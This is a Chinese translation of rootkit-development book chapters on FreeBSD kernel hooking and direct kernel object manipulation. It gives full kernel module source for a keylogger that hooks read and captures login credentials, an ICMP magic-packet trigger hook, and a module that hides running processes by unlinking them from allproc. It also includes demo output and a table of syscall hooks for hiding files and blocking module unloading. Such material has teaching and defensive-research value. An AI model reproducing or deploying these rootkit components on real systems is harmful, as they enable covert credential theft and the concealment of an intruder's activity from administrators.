回想一下第一章中提到的系统调用是应用程序程序请求操作系统内核服务的入口点。通过钩子这些入口点,rootkit 可以改变内核返回给任何或所有用户空间进程的数据。事实上,钩子系统调用非常有效,大多数(公开可用的)rootkit 都以某种方式使用它。
在 FreeBSD 中,通过将地址注册为目标系统调用sysent结构(位于sysent[]中)内的系统调用函数来安装系统调用钩子。
注意
更多关于系统调用的信息,请参阅系统调用模块。
列表 2-1 是一个示例系统调用钩子(尽管是微不足道的),设计用于在用户空间进程调用mkdir系统调用时输出调试信息——换句话说,每当创建目录时。
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysproto.h>
/* mkdir system call hook. */
static int
mkdir_hook(struct thread *td, void *syscall_args)
{
struct mkdir_args /* {
char *path;
int mode;
} */ *uap;
uap = (struct mkdir_args *)syscall_args;
char path[255];
size_t done;
int error;
error = copyinstr(uap->path, path, 255, &done);
if (error != 0)
return(error);
/* Print a debug message. */
uprintf("The directory \"%s\" will be created with the following"
" permissions: %o\n", path, uap->mode);
return(mkdir(td, syscall_args));
}
/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD:
/* Replace mkdir with mkdir_hook. */
❶sysent[❷SYS_mkdir].sy_call = (sy_call_t *)mkdir_hook;
break;
case MOD_UNLOAD:
/* Change everything back to normal. */
❸sysent[SYS_mkdir].sy_call = (sy_call_t *)mkdir;
break;
default:
error = EOPNOTSUPP;
break;
}
return(error);
}
static moduledata_t mkdir_hook_mod = {
"mkdir_hook", /* module name */
load, /* event handler */
NULL /* extra data */
};
DECLARE_MODULE(mkdir_hook, mkdir_hook_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
列表 2-1: mkdir_hook.c
注意,在模块加载时,事件处理程序❶注册了mkdir_hook(它只是打印一条调试信息然后调用mkdir)作为mkdir系统调用函数。这一行安装了系统调用钩子。要移除钩子,只需在模块卸载时恢复原始的mkdir系统调用函数❸。
注意
常量❷ SYS_mkdir 被定义为mkdir系统调用的偏移值。这个常量在<sys/syscall.h>头文件中定义,该文件还包含所有内核系统调用数字的完整列表。
以下输出显示了加载mkdir_hook后执行mkdir(1)的结果。
$ `sudo kldload ./mkdir_hook.ko`
$ `mkdir test`
The directory "test" will be created with the following permissions: 777
$ `ls -l`
. . .
drwxr-xr-x 2 ghost ghost 512 Mar 22 08:40 test
正如你所见,mkdir(1)现在变得非常冗长.^([1])
^([1]) ¹ 对于你这些敏锐的读者,是的,我有一个 umask 为 022,这就是为什么 "test" 的权限是 755,而不是 777。
按键记录
现在我们来看一个更有趣(但仍然有些简单)的系统调用挂钩示例。
按键记录 是拦截和捕获用户按键的简单行为。在 FreeBSD 中,这可以通过挂钩 read 系统调用来实现.^([2]) 如其名称所示,这个调用负责读取输入。以下是它的 C 库定义:
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
ssize_t
read(int fd, void *buf, size_t nbytes);
read 系统调用从由描述符 fd 引用的对象中读取 nbytes 的数据到缓冲区 buf。因此,为了捕获用户的按键,你只需在 fd 指向标准输入(即文件描述符 0)时,保存 buf 的内容(在从 read 调用返回之前)。
例如,看看列表 2-2:
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysproto.h>
/*
* read system call hook.
* Logs all keystrokes from stdin.
* Note: This hook does not take into account special characters, such as
* Tab, Backspace, and so on.
*/
static int
read_hook(struct thread *td, void *syscall_args)
{
struct read_args /* {
int fd;
void *buf;
size_t nbyte;
} */ *uap;
uap = (struct read_args *)syscall_args;
int error;
char buf[1];
int done;
❶error = read(td, syscall_args);
❷if (error || (!uap->nbyte) || (uap->nbyte > 1) || (uap->fd != 0))
❸return(error);
❹copyinstr(uap->buf, buf, 1, &done);
printf("%c\n", buf[0]);
return(error);
}
/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD:
/* Replace read with read_hook. */
sysent[SYS_read].sy_call = (sy_call_t *)read_hook;
break;
case MOD_UNLOAD:
/* Change everything back to normal. */
sysent[SYS_read].sy_call = (sy_call_t *)read;
break;
default:
error = EOPNOTSUPP;
break;
}
return(error);
}
static moduledata_t read_hook_mod = {
"read_hook", /* module name */
load, /* event handler */
NULL /* extra data */
};
DECLARE_MODULE(read_hook, read_hook_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
列表 2-2: read_hook.c
在列表 2-2 中,函数 read_hook 首先调用 read 从 fd 读取数据。如果这些数据不是来自标准输入的按键(按键被定义为单个字符或单个字节大小),则 ❶ read_hook 返回。否则,数据(即按键)被复制到一个局部缓冲区中,有效地“捕获”它。
注意
为了节省空间(并保持简单),read_hook 只是将捕获的按键(键)输出到系统控制台。
这里是加载 read_hook 后登录系统的结果:
login: `root`
Password:
Last login: Mon Mar 4 00:29:14 on ttyv2
root@alpha ~# `dmesg | tail -n 32`
r
o
o
t
p
a
s
s
w
d
. . .
正如你所见,我的登录凭证——我的用户名 (root) 和密码 (passwd)^([3])——已经被捕获。在这个时候,你应该能够挂钩任何系统调用。然而,还有一个问题:如果你不是内核高手,你如何确定要挂钩哪个系统调用?答案是:你使用内核进程跟踪。
^([2]) ² 实际上,要创建一个完整的按键记录器,你需要挂钩 read、readv、pread 和 preadv。
^([3]) ³ 显然,这不是我的真实 root 密码。
内核进程跟踪
内核进程跟踪 是一种诊断和调试技术,用于拦截和记录每个内核操作——也就是说,每个代表特定运行进程执行的系统调用、名称解析、I/O、处理的信号和上下文切换。在 FreeBSD 中,这是通过 ktrace(1) 和 kdump(1) 工具来完成的。例如:
$ `ktrace ls`
file1 file2 ktrace.out
$ `kdump`
517 ktrace RET ktrace 0
517 ktrace CALL execve(0xbfbfe790,0xbfbfecdc,0xbfbfece4)
517 ktrace NAMI "/sbin/ls"
517 ktrace RET execve -1 errno 2 No such file or directory
517 ktrace CALL execve(0xbfbfe790,0xbfbfecdc,0xbfbfece4)
517 ktrace NAMI "/bin/ls"
517 ktrace NAMI "/libexec/ld-elf.so.1"
517 ls RET execve 0
. . .
517 ls CALL ❶getdirentries(0x5,0x8054000,0x1000,0x8053014)
517 ls RET getdirentries 512/0x200
517 ls CALL getdirentries(0x5,0x8054000,0x1000,0x8053014)
517 ls RET getdirentries 0
517 ls CALL ❷lseek(0x5,0,0,0,0)
517 ls RET lseek 0
517 ls CALL ❸close(0x5)
517 ls RET close 0
517 ls CALL ❹fchdir(0x4)
517 ls RET fchdir 0
517 ls CALL close(0x4)
517 ls RET close 0
517 ls CALL fstat(0x1,0xbfbfdea0)
517 ls RET fstat 0
517 ls CALL break(0x8056000)
517 ls RET break 0
517 ls CALL ioctl(0x1,TIOCGETA,0xbfbfdee0)
517 ls RET ioctl 0
517 ls CALL write(0x1,0x8055000,0x19)
517 ls GIO fd 1 wrote 25 bytes
"file1 file2 ktrace.out
"
517 ls RET write 25/0x19
517 ls CALL exit(0)
注意
为了简洁起见,任何与这次讨论无关的输出都被省略了。
如前例所示,ktrace(1) 工具为特定进程(在这种情况下,ls(1))启用内核跟踪日志记录,而 kdump(1) 显示跟踪数据。
注意 ls(1) 在其执行过程中发出的各种系统调用,例如 ❶getdirentries、❷lseek、❸close、❹fchdir 等。这意味着你可以通过挂钩一个或多个这些调用来影响 ls(1) 的操作和/或输出。
所有这些的主要观点是,当你想要改变一个特定的进程,而你不知道要钩子哪个系统调用时,你只需要执行内核跟踪。
常见系统调用钩子
为了全面,表 2-1 列出了一些最常见的系统调用钩子。
表 2-1. 常见系统调用钩子
| 系统调用 | 钩子目的 |
|---|---|
read, readv, pread, preadv |
记录输入 |
write,writev,pwrite, pwritev |
记录输出 |
open |
隐藏文件内容 |
unlink |
防止文件删除 |
chdir |
防止目录遍历 |
chmod |
防止文件模式修改 |
chown |
防止所有权变更 |
kill |
防止发送信号 |
ioctl |
操作 ioctl 请求 |
execve |
重定向文件执行 |
rename |
防止文件重命名 |
rmdir |
防止目录删除 |
stat, lstat |
隐藏文件状态 |
getdirentries |
隐藏文件 |
truncate |
防止文件截断或扩展 |
kldload |
防止模块加载 |
kldunload |
防止模块卸载 |
现在让我们看看一些其他的内核函数,你可以对其进行钩子操作。
通信协议
如其名所示,通信协议是一组由两个通信进程(例如,TCP/IP 协议套件)使用的规则和约定。在 FreeBSD 中,通信协议由其在协议切换表中的条目定义。因此,通过修改这些条目,rootkit 可以改变通信端点发送和接收的数据。为了更好地说明这种“攻击”,让我稍微偏离一下。
protosw 结构
每个协议切换表的内容都保存在一个 protosw 结构中,该结构在 <sys/protosw.h> 头文件中定义如下:
struct protosw {
short pr_type; /* socket type */
struct domain *pr_domain; /* domain protocol */
short pr_protocol; /* protocol number */
short pr_flags;
/* protocol-protocol hooks */
pr_input_t *pr_input; /* input to protocol (from below) */
pr_output_t *pr_output; /* output to protocol (from above) */
pr_ctlinput_t *pr_ctlinput; /* control input (from below) */
pr_ctloutput_t *pr_ctloutput; /* control output (from above) */
/* user-protocol hook */
pr_usrreq_t *pr_ousrreq;
/* utility hooks */
pr_init_t *pr_init;
pr_fasttimo_t *pr_fasttimo; /* fast timeout (200ms) */
pr_slowtimo_t *pr_slowtimo; /* slow timeout (500ms) */
pr_drain_t *pr_drain; /* flush any excess space possible */
struct pr_usrreqs *pr_usrreqs; /* supersedes pr_usrreq() */
};
表 2-2 定义了在 struct protosw 中你需要了解的入口点,以便修改通信协议。
表 2-2. 协议切换表入口点
| 入口点 | 描述 |
|---|---|
pr_init |
初始化例程 |
pr_input |
将数据向上传递给用户 |
pr_output |
将数据向下传递到网络 |
pr_ctlinput |
将控制信息向上传递 |
pr_ctloutput |
将控制信息向下传递 |
inetsw[] 切换表
每个通信协议的 protosw 结构定义在文件 /sys/netinet/in_proto.c 中。以下是该文件的一个片段:
struct protosw ❶inetsw[] = {
{
.pr_type = 0,
.pr_domain = &inetdomain,
.pr_protocol = IPPROTO_IP,
.pr_init = ip_init,
.pr_slowtimo = ip_slowtimo,
.pr_drain = ip_drain,
.pr_usrreqs = &nousrreqs
},
{
.pr_type = SOCK_DGRAM,
.pr_domain = &inetdomain,
.pr_protocol = IPPROTO_UDP,
.pr_flags = PR_ATOMIC|PR_ADDR,
.pr_input = udp_input,
.pr_ctlinput = udp_ctlinput,
.pr_ctloutput = ip_ctloutput,
.pr_init = udp_init,
.pr_usrreqs = &udp_usrreqs
},
{
.pr_type = SOCK_STREAM,
.pr_domain = &inetdomain,
.pr_protocol = IPPROTO_TCP,
.pr_flags = PR_CONNREQUIRED|PR_IMPLOPCL|PR_WANTRCVD,
.pr_input = tcp_input,
.pr_ctlinput = tcp_ctlinput,
.pr_ctloutput = tcp_ctloutput,
.pr_init = tcp_init,
.pr_slowtimo = tcp_slowtimo,
.pr_drain = tcp_drain,
.pr_usrreqs = &tcp_usrreqs
},
. . .
注意,每个协议切换表都定义在❶ inetsw[] 内。这意味着为了修改通信协议,你必须通过 inetsw[]。
mbuf 结构
在两个通信进程之间传递的数据(和控制信息)存储在mbuf结构中,该结构在<sys/mbuf.h>头文件中定义。为了能够读取和修改这些数据,struct mbuf中有两个字段你需要了解:m_len,它标识了mbuf中包含的数据量,以及m_data,它指向数据。
通信协议钩子
列表 2-3 是一个示例通信协议钩子,设计用于在接收到包含短语Shiny的 Internet 控制消息协议(ICMP)类型为服务和主机消息的重定向时输出调试信息。
注意
ICMP 类型为服务和主机消息包含类型字段为 5 和代码字段为 3。
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/mbuf.h>
#include <sys/protosw.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip_var.h>
#define TRIGGER "Shiny."
extern struct protosw inetsw[];
pr_input_t icmp_input_hook;
/* icmp_input hook. */
void
icmp_input_hook(struct mbuf *m, int off)
{
struct icmp *icp;
❶int hlen = off;
/* Locate the ICMP message within m. */
m->m_len -= hlen;
❷m->m_data += hlen;
/* Extract the ICMP message. */
❸icp = mtod(m, struct icmp *);
/* Restore m. */
❹m->m_len += hlen;
m->m_data -= hlen;
/* Is this the ICMP message we are looking for? */
if (icp->icmp_type == ICMP_REDIRECT &&
icp->icmp_code == ICMP_REDIRECT_TOSHOST &&
strncmp(icp->icmp_data, TRIGGER, 6) == 0)
❺printf("Let's be bad guys.\n");
else
icmp_input(m, off);
}
/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD:
/* Replace icmp_input with icmp_input_hook. */
❻inetsw[ip_protox[IPPROTO_ICMP]].pr_input = icmp_input_hook;
break;
case MOD_UNLOAD:
/* Change everything back to normal. */
❼inetsw[❽ip_protox[IPPROTO_ICMP]].pr_input = icmp_input;
break;
default:
error = EOPNOTSUPP;
break;
}
return(error);
}
static moduledata_t icmp_input_hook_mod = {
"icmp_input_hook", /* module name */
load, /* event handler */
NULL /* extra data */
};
DECLARE_MODULE(icmp_input_hook, icmp_input_hook_mod, SI_SUB_DRIVERS,
SI_ORDER_MIDDLE);
列表 2-3:icmp_input_hook.c
在列表 2-3 中,函数icmp_input_hook首先❶将hlen设置为接收到的 ICMP 消息的 IP 头部长度(off)。接下来,确定 ICMP 消息在m中的位置;记住,ICMP 消息是在 IP 数据报中传输的,这就是为什么❷m_data需要增加hlen。然后,从m中❸提取 ICMP 消息。之后,对m所做的更改❹被撤销,这样当m实际被处理时,就像什么都没发生一样。最后,如果 ICMP 消息是我们正在寻找的,❺将打印一条调试信息;否则,调用icmp_input。
注意到在模块加载时,事件处理器❻将icmp_input_hook注册为 ICMP 交换表中的pr_input入口点。这一行安装了通信协议钩子。要移除钩子,只需在模块卸载时❼恢复原始的pr_input入口点(在这种情况下是icmp_input)即可。
注意
❽ip_protox[IPPROTO_ICMP]的值定义为在inetsw[]中 ICMP 交换表的偏移量。关于ip_protox[]的更多信息,请参阅/sys/netinet/ip_input.c 中的ip_init函数。
以下输出显示了加载icmp_input_hook后接收 ICMP 类型为服务和主机消息重定向的结果:
$ `sudo kldload ./icmp_input_hook.ko`
$ `echo Shiny. > payload`
$ `sudo nemesis icmp -i 5 -c 3 -P ./payload -D 127.0.0.1`
ICMP Packet Injected
$ `dmesg | tail -n 1`
Let's be bad guys.
诚然,icmp_input_hook有一些缺陷;然而,对于演示通信协议钩子的目的来说,已经足够了。
如果你感兴趣,想要为实际使用修复icmp_input_hook,你只需要做两个添加。首先,确保 IP 数据报实际上包含一个 ICMP 消息,在你尝试定位它之前。这可以通过检查 IP 头部数据字段长度来实现。其次,确保m中的数据实际上存在且可访问。这可以通过调用m_pullup来实现。关于如何做这两件事的示例代码,请参阅/sys/netinet/ip_icmp.c 中的icmp_input函数。
结论
如你所见,调用钩子实际上就是重定向函数指针,到这一点,你应该没有困难做到这一点。
请记住,通常有几个不同的入口点可以钩住以完成特定任务。例如,在按键记录中,我通过钩住read系统调用来创建了一个按键记录器;然而,这也可以通过钩住终端行规程(termios)的l_read入口点在切换表中的switch table来实现^([4])。
为了教育目的和乐趣,我鼓励你尝试钩住 termios 切换表中的l_read入口点。为此,你需要熟悉linesw[]切换表,它在文件/sys/kern/tty_conf.c中实现,以及定义在<sys/linedisc.h>头文件中的struct linesw。
注意
这个钩子比本章中展示的其他钩子需要做更多的工作。
^([4]) ⁴ 终端行规程(termios)基本上是用于处理与终端通信并描述其状态的数据结构。
第三章。直接内核对象操作
所有操作系统都在主内存中存储内部记录数据,通常作为对象——即结构、队列等。每次您向内核请求运行进程列表、打开端口等时,这些数据都会被解析并返回。因为此数据存储在主内存中,可以直接操作;无需安装调用钩子来重定向控制流。这种技术通常被称为 直接内核对象操作(DKOM)(Hoglund 和 Butler,2005)。
在我深入这个主题之前,让我们看看在 FreeBSD 系统中内核数据是如何存储的。
内核队列数据结构
通常,许多有趣的信息以 队列数据结构(也称为 列表)的形式存储在内核中。一个例子是已加载的链接器文件列表;另一个是已加载的内核模块列表。
头文件 <sys/queue.h> 定义了四种不同类型的队列数据结构:单链表、单链表尾队列、双链表和双链表尾队列。此文件还包含 61 个宏,用于声明和操作这些结构。
以下五个宏是双链表 DKOM 的基础。
注意
由于这些宏与下面显示的宏在效果上相同,因此不讨论用于操作单链表、单链表尾队列和双链表尾队列的宏。有关这些宏的使用方法,请参阅 queue(3)手册页。
LIST_HEAD 宏
双链表由 LIST_HEAD 宏定义的结构引导。该结构包含指向列表第一个元素的单一指针。元素是双链连接的,这样就可以在不遍历列表的情况下删除任意元素。可以在现有元素之前、之后或在列表头部添加新元素。
以下是 LIST_HEAD 宏的定义:
#define LIST_HEAD(name, type) \
struct name { \
struct type *lh_first; /* first element */ \
}
在此定义中,name 是要定义的结构名称,而 type 指定了要链接到列表中的元素类型。
如果将 LIST_HEAD 结构声明如下:
LIST_HEAD(HEADNAME, TYPE) head;
然后,可以声明列表头的指针:
struct HEADNAME *headp;
LIST_HEAD_INITIALIZER 宏
双链表的头由 LIST_HEAD_INITIALIZER 宏初始化。
#define LIST_HEAD_INITIALIZER(head) \
{ NULL }
LIST_ENTRY 宏
LIST_ENTRY 宏声明了一个结构,用于连接双链表中的元素。
#define LIST_ENTRY(type) \
struct { \
struct type *le_next; /* next element */ \
struct type **le_prev; /* address of previous element */ \
}
这个结构在插入、删除和遍历列表时被引用。
LIST_FOREACH 宏
使用 LIST_FOREACH 宏遍历双链表。
#define LIST_FOREACH(var, head, field) \
for ((var) = LIST_FIRST((head)); \
(var); \
(var) = LIST_NEXT((var), field))
此宏以正向方向遍历由 head 指向的列表,依次将每个元素赋值给 var。field 参数包含使用 LIST_ENTRY 宏声明的结构。
LIST_REMOVE 宏
使用 LIST_REMOVE 宏将双链表上的元素解耦。
#define LIST_REMOVE(elm, field) do { \
if (LIST_NEXT((elm), field) != NULL) \
LIST_NEXT((elm), field)->field.le_prev = \
(elm)->field.le_prev; \
*(elm)->field.le_prev = LIST_NEXT((elm), field); \
} while (0)
这里,elm是要删除的元素,而field包含使用LIST_ENTRY宏声明的结构。
同步问题
正如你很快就会看到的,你可以通过操作各种内核队列数据结构来改变内核对操作系统状态的感知。然而,仅仅通过遍历和/或修改这些对象(由于可抢占性)就有损坏系统的风险;也就是说,如果你的代码被中断,而另一个线程访问或操作你正在操作的同一些对象,可能会导致数据损坏。此外,在对称多处理(SMP)中,抢占甚至不是必要的;如果你的代码在一个 CPU 上运行,而另一个 CPU 上的另一个线程正在操作同一个对象,也可能发生数据损坏。
为了安全地操作内核队列数据结构——即为了确保线程同步——你的代码应该首先获取适当的锁(即资源访问控制)。在我们的示例中,这将要么是互斥锁,要么是共享/独占锁。
mtx_lock 函数
互斥锁为一个或多个数据对象提供互斥访问,并且是线程同步的主要方法。
内核线程通过调用mtx_lock函数来获取互斥锁。
#include <sys/param.h>
#include <sys/lock.h>
#include <sys/mutex.h>
void
mtx_lock(struct mtx *mutex);
如果另一个线程当前持有互斥锁,调用者将休眠,直到互斥锁可用。
mtx_unlock 函数
通过调用mtx_unlock函数来释放互斥锁。
#include <sys/param.h>
#include <sys/lock.h>
#include <sys/mutex.h>
void
mtx_unlock(struct mtx *mutex);
如果一个高优先级的线程正在等待互斥锁,释放锁的线程可能会被抢占,以便高优先级的线程可以获取互斥锁并运行。
注意
关于互斥锁的更多信息,请参阅 mutex(9)手册页面。
sx_slock 和 sx_xlock 函数
共享/独占锁(也称为sx 锁)是一种简单的读写锁,可以在睡眠期间持有。正如其名称所暗示的,多个线程可以持有共享锁,但只有一个线程可以持有独占锁。此外,如果一个线程持有独占锁,则没有其他线程可以持有共享锁。
线程通过调用sx_slock或sx_xlock函数分别获取共享或独占锁。
#include <sys/param.h>
#include <sys/lock.h>
#include <sys/sx.h>
void
sx_slock(struct sx *sx);
void
sx_xlock(struct sx *sx);
sx_sunlock 和 sx_xunlock 函数
要释放共享或独占锁,分别调用sx_sunlock或sx_xunlock函数。
#include <sys/param.h>
#include <sys/lock.h>
#include <sys/sx.h>
void
sx_sunlock(struct sx *sx);
void
sx_xunlock(struct sx *sx);
注意
关于共享/独占锁的更多信息,请参阅 sx(9)手册页面。
隐藏一个正在运行的过程
现在,有了前面几节中的宏和函数,我将详细说明如何使用 DKOM 隐藏一个正在运行的过程。不过,首先我们需要一些关于进程管理的背景信息。
proc 结构
在 FreeBSD 中,每个进程的上下文都保存在一个proc结构中,该结构在<sys/proc.h>头文件中定义。以下列表描述了struct proc中你需要了解的字段,以便隐藏一个正在运行的过程。
注意
我尽量使这个列表简短,以便它可以作为参考。你可以在第一次阅读时跳过这个列表,在你遇到一些真实的 C 代码时再查阅它。
LIST_ENTRY(proc) p_list;
该字段包含与 proc 结构相关联的链接指针,该结构存储在 allproc 或 zombproc 列表中(在全进程列表中讨论)。在插入、删除和遍历任一列表时都会引用此字段。
int p_flag;
这些是在运行进程上设置的进程标志,例如 P_WEXIT、P_EXEC 等。所有标志都在 <sys/proc.h> 头文件中定义。
enum { PRS_NEW = 0, PRS_NORMAL, PRS_ZOMBIE } p_state;
该字段表示当前进程状态,其中 PRS_NEW 表示一个新出生但未完全初始化的进程,PRS_NORMAL 表示一个“活动”进程,而 PRS_ZOMBIE 表示一个僵尸进程。
pid_t p_pid;
这是进程标识符(PID),它是一个 32 位的整数值。
LIST_ENTRY(proc) p_hash;
该字段包含与 proc 结构相关联的链接指针,该结构存储在 pidhashtbl 中(在 pidhashtbl 中讨论)。在插入、删除和遍历 pidhashtbl 时会引用此字段。
struct mtx p_mtx;
这是与 proc 结构相关联的资源访问控制。头文件 <sys/proc.h> 定义了两个宏,PROC_LOCK 和 PROC_UNLOCK,以便方便地获取和释放此锁。
#define PROC_LOCK(p) mtx_lock(&(p)->p_mtx)
#define PROC_UNLOCK(p) mtx_unlock(&(p)->p_mtx)
struct vmspace *p_vmspace;
这是进程的虚拟内存状态,包括机器相关和机器无关的数据结构,以及统计数据。
char p_comm[MAXCOMLEN + 1];
这是用于执行进程的名称或命令。常量 MAXCOMLEN 在 <sys/param.h> 头文件中定义如下:
#define MAXCOMLEN 19 /* max command name remembered */
全进程列表
FreeBSD 将其 proc 结构组织成两个列表。所有处于 ZOMBIE 状态的进程都位于 zombproc 列表中;其余的都在 allproc 列表中。此列表通过间接方式被 ps(1)、top(1) 和其他报告工具引用,以列出系统上的运行进程。因此,您只需从 allproc 列表中删除其 proc 结构,就可以隐藏一个运行进程。
备注
自然地,人们可能会认为,通过从 allproc 列表中删除 proc 结构,相关的进程将不会执行。在过去,一些作者和黑客表示,修改 allproc 将会非常复杂,因为它用于进程调度和其他重要系统任务。然而,由于进程现在是在线程粒度上执行的,这种情况已经不再适用了。
allproc 列表在 <sys/proc.h> 头文件中定义如下:
extern struct proclist allproc; /* list of all processes */
注意,allproc 被声明为 proclist 结构,该结构在 <sys/proc.h> 头文件中定义如下:
LIST_HEAD(proclist, proc);
从这些列表中,您可以看到 allproc 仅仅是一个内核队列数据结构——一个 proc 结构的 双向链表,更确切地说。
以下是从<sys/proc.h>中摘录的与allproc列表相关的资源访问控制。
extern struct sx allproc_lock;
示例
列表 3-1 显示了一个系统调用模块,该模块通过从allproc列表中删除其proc结构(s)来隐藏一个正在运行的过程。系统调用用一个参数调用:一个包含要隐藏的进程名称的字符指针(即字符串)。
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/queue.h>
#include <sys/lock.h>
#include <sys/sx.h>
#include <sys/mutex.h>
struct process_hiding_args {
char *p_comm; /* process name */
};
/* System call to hide a running process. */
static int
process_hiding(struct thread *td, void *syscall_args)
{
struct process_hiding_args *uap;
uap = (struct process_hiding_args *)syscall_args;
struct proc *p;
❶sx_xlock(&allproc_lock);
/* Iterate through the allproc list. */
LIST_FOREACH(p, &allproc, p_list) {
❷PROC_LOCK(p);
❸if (!p->p_vmspace || (p->p_flag & P_WEXIT)) {
PROC_UNLOCK(p);
continue;
}
/* Do we want to hide this process? */
❹if (strncmp(p->p_comm, uap->p_comm, MAXCOMLEN) == 0)
❺LIST_REMOVE(p, p_list);
❻PROC_UNLOCK(p);
}
❼sx_xunlock(&allproc_lock);
return(0);
}
/* The sysent for the new system call. */
static struct sysent process_hiding_sysent = {
1, /* number of arguments */
process_hiding /* implementing function */
};
/* The offset in sysent[] where the system call is to be allocated. */
static int offset = NO_SYSCALL;
/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD:
uprintf("System call loaded at offset %d.\n", offset);
break;
case MOD_UNLOAD:
uprintf("System call unloaded from offset %d.\n", offset);
break;
default:
error = EOPNOTSUPP;
break;
}
return(error);
}
SYSCALL_MODULE(process_hiding, &offset, &process_hiding_sysent, load, NULL);
列表 3-1:process_hiding.c
注意我如何在检查之前❶锁定allproc列表和❷每个proc结构,以确保线程同步——用通俗的话说,为了避免内核恐慌。当然,我在完成后也会❻❺释放每个锁。
关于process_hiding的一个有趣细节是,在❹过程名称比较之前,我❸检查每个进程的虚拟地址空间和进程标志。如果前者不存在或后者设置为“正在退出”,则proc结构将解锁并跳过。隐藏一个不会运行的过程有什么意义呢?
另一个值得注意的细节是,在我❺从allproc列表中删除用户指定的proc结构之后,我没有强制立即退出for循环。也就是说,没有break语句。为什么这样做,考虑一个已经复制或分叉了自己的进程,以便父进程和子进程可以同时执行不同代码段的情况。(这是网络服务器,如httpd中的一种流行做法。)在这种情况下,向系统请求运行进程列表将返回父进程和子进程,因为每个子进程都在allproc列表上有一个单独的条目。因此,为了隐藏单个进程的每个实例,你需要遍历allproc列表的整个内容。
以下输出显示了process_hiding的实际操作:
$ `sudo kldload ./process_hiding.ko`
System call loaded at offset 210.
$ `ps`
PID TT STAT TIME COMMAND
530 v1 S 0:00.21 -bash (bash)
579 v1 R+ 0:00.02 ps
502 v2 I 0:00.42 -bash (bash)
529 v2 S+ 0:02.52 top
$ `perl -e '$p_comm = "top";' -e 'syscall(210, $p_comm);'`
$ `ps`
PID TT STAT TIME COMMAND
530 v1 S 0:00.26 -bash (bash)
584 v1 R+ 0:00.02 ps
502 v2 I 0:00.42 -bash (bash)
注意我能够从ps(1)的输出中隐藏top(1)。为了好玩,让我们从top(1)的角度来看,如下所示,以前后对比的方式。
last pid: 582; load averages: 0.00, 0.03, 0.04 up 0+00:19:08 03:46:
❶20 processes: 1 running, 19 sleeping
CPU states: 0.0% user, 0.0% nice, 0.3% system, 14.1% interrupt, 85.5% idle
Mem: 6932K Active, 10M Inact, 14M Wired, 28K Cache, 10M Buf, 463M Free
Swap: 512M Total, 512M Free
PID USERNAME THR PRI NICE SIZE RES STATE TIME WCPU COMMAND
❷529 ghost 1 96 0 2304K 1584K RUN 0:03 0.00% top
502 ghost 1 8 0 3276K 2036K wait 0:00 0.00% bash
486 root 1 8 0 1616K 1280K wait 0:00 0.00% login
485 root 1 8 0 1616K 1316K wait 0:00 0.00% login
530 ghost 1 5 0 3276K 2164K ttyin 0:00 0.00% bash
297 root 1 96 0 1292K 868K select 0:00 0.00% syslogd
408 root 1 96 0 3412K 2656K select 0:00 0.00% sendmail
424 root 1 8 0 1312K 1032K nanslp 0:00 0.00% cron
490 root 1 5 0 1264K 928K ttyin 0:00 0.00% getty
489 root 1 5 0 1264K 928K ttyin 0:00 0.00% getty
484 root 1 5 0 1264K 928K ttyin 0:00 0.00% getty
487 root 1 5 0 1264K 928K ttyin 0:00 0.00% getty
488 root 1 5 0 1264K 928K ttyin 0:00 0.00% getty
491 root 1 5 0 1264K 928K ttyin 0:00 0.00% getty
197 root 1 110 0 1384K 1036K select 0:00 0.00% dhclient
527 root 1 96 0 1380K 1084K select 0:00 0.00% inetd
412 smmsp 1 20 0 3300K 2664K pause 0:00 0.00% sendmail
. . .
last pid: 584; load averages: 0.00, 0.03, 0.03 up 0+00:20:43 03:48:
❸19 processes: 19 sleeping
CPU states: 0.0% user, 0.0% nice, 0.7% system, 11.8% interrupt, 87.5% idle
Mem: 7068K Active, 11M Inact, 14M Wired, 36K Cache, 10M Buf, 462M Free
Swap: 512M Total, 512M Free
PID USERNAME THR PRI NICE SIZE RES STATE TIME WCPU COMMAND
502 ghost 1 8 0 3276K 2036K wait 0:00 0.00% bash
486 root 1 8 0 1616K 1280K wait 0:00 0.00% login
485 root 1 8 0 1616K 1316K wait 0:00 0.00% login
530 ghost 1 5 0 3276K 2164K ttyin 0:00 0.00% bash
297 root 1 96 0 1292K 868K select 0:00 0.00% syslogd
408 root 1 96 0 3412K 2656K select 0:00 0.00% sendmail
424 root 1 8 0 1312K 1032K nanslp 0:00 0.00% cron
490 root 1 5 0 1264K 928K ttyin 0:00 0.00% getty
489 root 1 5 0 1264K 928K ttyin 0:00 0.00% getty
484 root 1 5 0 1264K 928K ttyin 0:00 0.00% getty
487 root 1 5 0 1264K 928K ttyin 0:00 0.00% getty
488 root 1 5 0 1264K 928K ttyin 0:00 0.00% getty
491 root 1 5 0 1264K 928K ttyin 0:00 0.00% getty
197 root 1 110 0 1384K 1036K select 0:00 0.00% dhclient
527 root 1 96 0 1380K 1084K select 0:00 0.00% inetd
412 smmsp 1 20 0 3300K 2664K pause 0:00 0.00% sendmail
217 _dhcp 1 96 0 1384K 1084K select 0:00 0.00% dhclient
